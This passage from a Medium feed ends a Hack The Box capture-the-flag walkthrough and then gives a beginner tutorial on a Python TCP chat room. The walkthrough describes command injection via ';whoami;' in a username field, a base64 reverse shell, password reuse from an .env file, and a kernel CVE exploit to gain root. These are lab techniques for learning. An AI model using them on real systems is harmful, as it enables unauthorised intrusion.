alt="" src="https://cdn-images-1.medium.com/max/1024/1*3jyLb1yhgLoorXfKCNu4jw.png" /></figure><p>Now are are truly admin, we can move to the Foothold stage.</p><h3>Foothold</h3><p>We can now try and generate a vpn file as admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VHE3M8VAnWjmh6V8UEY0_A.png" /></figure><p>Weirdly, it states we have to add a parameter with a username.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dxUKW1tzLm1Fgv5YcZDOdw.png" /></figure><p>We can see that a VPN configuration file was generated for the user test and printed to us after issuing the aforementioned command. Given that the exec or system PHP functions are being used to create this VPN, there may not be enough filtering in place to prevent malicious code from being injected into the username field and gaining command execution on the distant machine.<br>By inserting the command ;whoami; after the username, let’s test this supposition.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8LlP-c6K-cHmBOnmLvCPtA.png" /></figure><p>Lets chuck our listener up and rolling!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*45AxtIHdylsSaX8lIJ62WQ.png" /></figure><p>We can base64 encode this payload to use base64 to execute the command.</p><blockquote>Note: If this payload does not work you can use mkfifo.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*9_ov2JU1GmIhsleuvlYZjg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ibi13Si9S0cDU3jsIHwyWA.png" /></figure><p>Now for the moment of truth…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/847/1*mbigYVXZ5XZCuIV5Eib-uA.png" /></figure><p>www-data has been claimed!! On to the next stage which is lateral movement.</p><h3>Lateral Movement (www-data -&gt; user)</h3><p>We have another user to claim which is admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/730/1*6f-7qi7zXaeBmem3ewYG5Q.png" /></figure><p>The current file system has an .env file which shows passwords for users. We can use password reuse to gain user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*iPfP4GY7wZRveIaAE6pYiw.png" /></figure><p>We can exit the shell and ssh as admin.</p><h3>User</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/887/1*nvnCZqCuN49TklQjqFPYBg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*T6nSnBfYxJrplm7wn7XUuQ.png" /></figure><h3>Root</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*0HQX3znQfjA7ln0cDLw28w.png" /></figure><p>It shows we have mail. Lets check /var/mail/admin for more information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/901/1*lW20614tup9JT3aeugmQeA.png" /></figure><p>We can skim through this mail and use the BOX method to see the key points on this message which is OverlayFS/FUSE and kernel CVEs.</p><p>Searching through Google we can see this CVE <a href="https://nvd.nist.gov/vuln/detail/CVE-2023-0386">https://nvd.nist.gov/vuln/detail/CVE-2023-0386</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*z3Y9tIWxfMOe-1Rh7RAZIg.png" /></figure><p>This box is 5.15.70, we can enumerate further to see release stages.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/402/1*grFXiAv6qwbZxrBesxA-yQ.png" /></figure><p>Which leads us to this POC: <a href="https://github.com/xkaneiki/CVE-2023-0386">https://github.com/xkaneiki/CVE-2023-0386</a></p><p>We can clone the repo and tar it to make it easier to transfer.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*MQfcoOQ20-WX8QvRIIWk2Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*uX7D9BH0_ieKQ5sbNDbr3Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*csOgi1r5mL6jON0EMgAWtw.png" /></figure><p>We put up a server to transport the file and then curl it through. Then unarchive the achieve.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*4GhCXtfjinBXcB7ynhkkrw.png" /></figure><p>Then we follow the POC, shown in Github.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*CSN8o0C50qnptD-7rTYmpQ.png" /></figure><p>Keeping it running and spawning another ssh shell, we get root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/796/1*bbDn33ZAjT98FWr3Ol-epg.png" /></figure><h3>Surprise</h3><p>We can see thank_you.json.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*bK2UnfBL3RA61P2qh36qFA.png" /></figure><p>The data seems url encoded, so lets pull up cyberchef.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kFef4nMTijnDbl2pYqMZhg.png" /></figure><p>We can see that its both base64 and xor knowing the key being HackTheB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0MTU2Njc2ZTQyMzA0ZDRmNDk0MTQxNGQ0OTUxMzQ1NTYxNDE2YjQzNDM0NDM4NGU0NjdhNDY0NDU3NDM2YjUwNDIzMDczMzM0NzY3NDE2YTQ3NzgzMTZmNDE0NTRkNjM0Zjc4NmY0YTRhNmIzODUwNDk0MTUxNTI0NDZlNTE0NDQzNzkzMDU5NDY0MzMwNDY0MjQxMzUzMDQxNTI1YTY5NDQ2ODczNzI0MjQyNDE1OTUwNTE2ZjRhNGEzMDM4NGQ0YTMwNDU0MzQyN2E2ODQ3NjIzMDY3MzQ0NTU0Nzc0YTUxNzczODc4NDQ1MjU1NmU0ODQxNzg2ZjQyNjg0NTRiNDk0MTQ1NTI0ZTc3NzM2NDVhNDc3NDcwNTA3YTc3NGU1MjUxNmY0ZjQ3Nzk0ZDMxNDM3NzM0NTc0Mjc4MzE2OTRmNzgzMDcwNDQ0MTNkM2QyMjdkJTIyJTdE</blockquote><p>Thanks for making this box and congrats on 2 million users!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6dc375919bec" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Python] Coding a TCP Room in 200 lines]]></title>
            <link>https://0xv37r1x3r.medium.com/python-coding-a-tcp-room-in-200-lines-5840c461e5e0?source=rss-c6125e0c1edd------2</link>
            <guid isPermaLink="false">https://medium.com/p/5840c461e5e0</guid>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[python]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[python-programming]]></category>
            <category><![CDATA[sockets]]></category>
            <dc:creator><![CDATA[0xv37r1x3r]]></dc:creator>
            <pubDate>Sun, 06 Jun 2021 11:03:40 GMT</pubDate>
            <atom:updated>2023-06-03T09:14:53.753Z</atom:updated>
            <content:encoded><![CDATA[<p>Coding made easy, maybe try making a TCP chat room?</p><figure><img alt="Python socket with a socket image" src="https://cdn-images-1.medium.com/max/621/1*8IO1Ykb6uX1Aa5xHktSMLw.png" /><figcaption>Python Socket Image</figcaption></figure><h3>Introduction</h3><p>Coding a TCP Room in about 200 lines, let’s dive into our adventure! TCP is a transmission control protocol which is one of the main protocols of an Internet protocol suite. This simple program helps us learn about sockets and Client Side Architecture! Python in general is a great language to start with from beginners to advanced! And of course, it allows us to create solid applications very fast and easily. For a further challenge, you can also add custom features like chat rooms, commands, roles, send images etc…</p><h4>What is Client Side Architecture?</h4><p>Our application, will need client-server architecture, meaning we will have many clients (the users) and one central server that hosts everything and provides the data for the clients. Hence, we are going to write two Python scripts. One of the scripts will be starting the server and one will be for the client. We will have to run the server first, so that there is a chat, which the clients can connect to. The clients themselves, are not going to directly communicate to each other but via the central server.</p><h4>Staring the Server</h4><p>Let’s start implementing the server first, for this we require two modules named <strong>socket</strong> and <strong>threading</strong>. Socket is used for network connection and threading is used for performing various tasks at the same time.</p><pre>import threading<br>import socket</pre><blockquote>Module requirements</blockquote><p>Next, we define our connection data and to initialise our socket. We will need an IP-address for the host and a free port number for our server. In this example, we will use the localhost address (127.0.0.1) and the port 5000. The port is actually irrelevant but you have to make sure that the port you are using is free and not reserved. If you are running this script on an actual server, specify the IP-address of the server as the host.</p><pre>host = &#39;127.0.0.1&#39;<br>port = 5000</pre><pre>server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>server.bind((host, port))<br>server.listen()</pre><pre>clients = []<br>aliases = []</pre><blockquote>Socket definition and port initiation</blockquote><p>When we define our socket, we need to pass two parameters. These define the type of socket we want to use. The first one (<strong>AF_INET</strong>) indicates that we are using an internet socket rather than an UNIX socket. The second parameter stands for the protocol we want to use (<strong>SOCK_STREAM</strong><em>) </em>indicates that we are using TCP and not UDP. After defining the socket, we bind it to our host and the specified port by passing a tuple that contains both values. We then put our server into listening mode, so that it waits for clients to connect. At the end we create two empty lists, which we will use to store the connected clients and their aliases later on.</p><pre>def broadcast(message):<br>    for client in clients:<br>        client.send(message)</pre><blockquote>Broadcast function</blockquote><p>Here we define a little function that is going to help us broadcasting messages and makes the code more readable. What it does is just sending a message to each client that is connected and therefore in the clients list.</p><p>Now we will start with the implementation of the first major function. This function will be responsible for handling messages from the clients.</p><pre>def handle_client(client):<br>    while True:<br>        try:<br>           message = client.recv(1024)<br>           broadcast(message)<br>        except:<br>           index = clients.index(client)<br>           clients.remove(client)<br>           client.close()<br>           alias = aliases[index]<br>           broadcast(f&#39;{alias} has left the chat room!&#39;.encode(&#39;utf-8&#39;))<br>           aliases.remove(alias)<br>           break</pre><blockquote>While-Loop Function</blockquote><p><em>Sorry for the bad indentation here</em></p><p>As you can see, this function is running in a while-loop. It won’t stop unless there is an exception because of something that went wrong. The function accepts a client as a parameter. Every time a client connects to our server we run this function for it and it starts an endless loop.</p><pre>def receive():<br>    while True:<br>        print(&#39;Server is running and listening ...&#39;)<br>        client, address = server.accept()</pre><pre>        print(f&#39;connection is established with {str(address)}&#39;)<br>        client.send(&#39;alias?&#39;.encode(&#39;utf-8&#39;))<br>        alias = client.recv(1024)<br>        aliases.append(alias)<br>        clients.append(client)</pre><pre>        print(f&#39;The alias of this client is {alias}&#39;.encode(&#39;utf-8&#39;))<br>        broadcast(f&#39;{alias} has connected to the chat room!&#39;.encode(&#39;utf-8&#39;))<br>        client.send(&#39;You are now connected!&#39;.encode(&#39;utf-8&#39;))</pre><pre>        thread = threading.Thread(target=handle_client, args=(client,))<br>        thread.start()</pre><blockquote>Receiving / Listening Function</blockquote><p><em>Sorry for the bad indentation here again</em></p><p>When we are ready to run our server, we will execute this <strong>receive </strong>function. It also starts an endless while-loop which constantly accepts new connections from clients. Once a client is connected it sends the string <em>‘alias’ </em>to it, which will tell the client that its nickname is requested. After that it waits for a response (which hopefully contains the alias) and appends the client with the respective aliases to the lists. After that, we print and broadcast this information. Finally, we start a new thread that runs the previously implemented handling function for this particular client. Now we can just run this function and our server is done.</p><p>Notice that we are always encoding and decoding the messages here. The reason for this is that we can only send bytes and not strings. So we always need to encode messages (for example using UTF-8), when we send them and decode them, when we receive them.</p><pre>if __name__ == &quot;__main__&quot;:<br>    receive()</pre><blockquote>Receive Function</blockquote><h4>Implementing The Client</h4><p>The server on its own is pretty useless without clients to connect with it. So now we are going to implement our client. For this, we will again need to import the same libraries. Notice that this is now a second separate script.</p><pre>import threading<br>import socket</pre><blockquote>Module implements</blockquote><p>The first steps of the client are to choose an alias and to connect to our server. We will need to know the exact address and the port at which our server is running.</p><pre>alias = input(&#39;Choose an alias --&gt; &#39;)<br>client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)<br>client.connect((&#39;127.0.0.1&#39;, 5000))</pre><blockquote>Alias input and socket initialisation</blockquote><p>As you can see, we are using a different function here. Instead of binding the data and listening, we are connecting to an existing server. Now, a client needs to have two threads that are running at the same time. The first one will constantly receive data from the server and the second one will send our own messages to the server. So we will need two functions here. Let’s start with the receiving part.</p><pre>def client_receive():<br>    while True:<br>        try:<br>            message = client.recv(1024).decode(&#39;utf-8&#39;)<br>            if message == &quot;alias?&quot;:<br>                client.send(alias.encode(&#39;utf-8&#39;))<br>            else:<br>                print(message)<br>        except:<br>            print(&#39;Error!&#39;)<br>            client.close()<br>            break</pre><blockquote>Receive data function</blockquote><p>Sorry for the bad indentation</p><p>Again we have an endless while-loop here. It constantly tries to receive messages and to print them onto the screen. If the message is alias however, it doesn’t print it but it sends its nickname to the server. In case there is some error, we close the connection and break the loop. Now we just need a function for sending messages and we are almost done.</p><pre>def client_send():<br>    while True:<br>        message = f&#39;{alias}: {input(&quot;&quot;)}&#39;<br>        client.send(message.encode(&#39;utf-8&#39;))</pre><blockquote>Client send function</blockquote><p>The writing function is quite a short one. It also runs in an endless loop which is always waiting for an input from the user. Once it gets some, it combines it with the nickname and sends it to the server. That’s it we are nearly there. The last thing we need to do is to start two threads that run these two functions.</p><pre>receive_thread = threading.Thread(target=client_receive)<br>receive_thread.start()</pre><pre>send_thread = threading.Thread(target=client_send)<br>send_thread.start()</pre><blockquote>Starting threads for listening and sending</blockquote><p>And now we are done. We have a fully-functioning server and working clients that can connect to it and communicate with each other.</p><h3>Demonstration</h3><p>Here is the fun part of this project! Let’s go for a test run. Just keep in mind that we always need to start the server first because otherwise the clients can’t connect to a non-existing host. Here you can see an example of a chat with two clients (you can also connect with 20 if you want):</p><figure><img alt="Dialogue of two people talking together" src="https://cdn-images-1.medium.com/max/1024/1*OrCCBBmYVwiINkxo9SKQMA.png" /><figcaption>Testing out the TCP room</figcaption></figure><p>As you can see, it works very well! You can now modify and customize your chat however you want. Maybe you want to have multiple chat rooms or maybe you want to have different roles like admin and moderator. Be creative!</p><h3>Source Code</h3><p>Here is the source code (sorry for the bad indentation beforehand):</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/1f7558bdfdc124fb2d5340f864100891/href">https://medium.com/media/1f7558bdfdc124fb2d5340f864100891/href</a></iframe><p>I hope you enjoyed this tutorial and you learned something. If you are interested in a GUI version of this chat, please leave a comment. It works quite differently, since it works more with events than with endless loops. Also, if you want to tell me something or ask questions, feel free to ask in the comments! Check out my <a href="https://github.com/Yuma-Tsushima07"><strong>Github</strong></a> page , if you are interested in more! Stay tuned!</p><h3>Credits</h3><p>Thank you! <strong>Cinnamon1212</strong> (<strong>Cinnamon#7617</strong>) for this project idea!</p><p>Check out his Github: <a href="https://github.com/Cinnamon1212"><strong>https://github.com/Cinnamon1212</strong></a></p><p>Author: 0xv37r1x3r (Yuma-Tsushima07)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5840c461e5e0" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>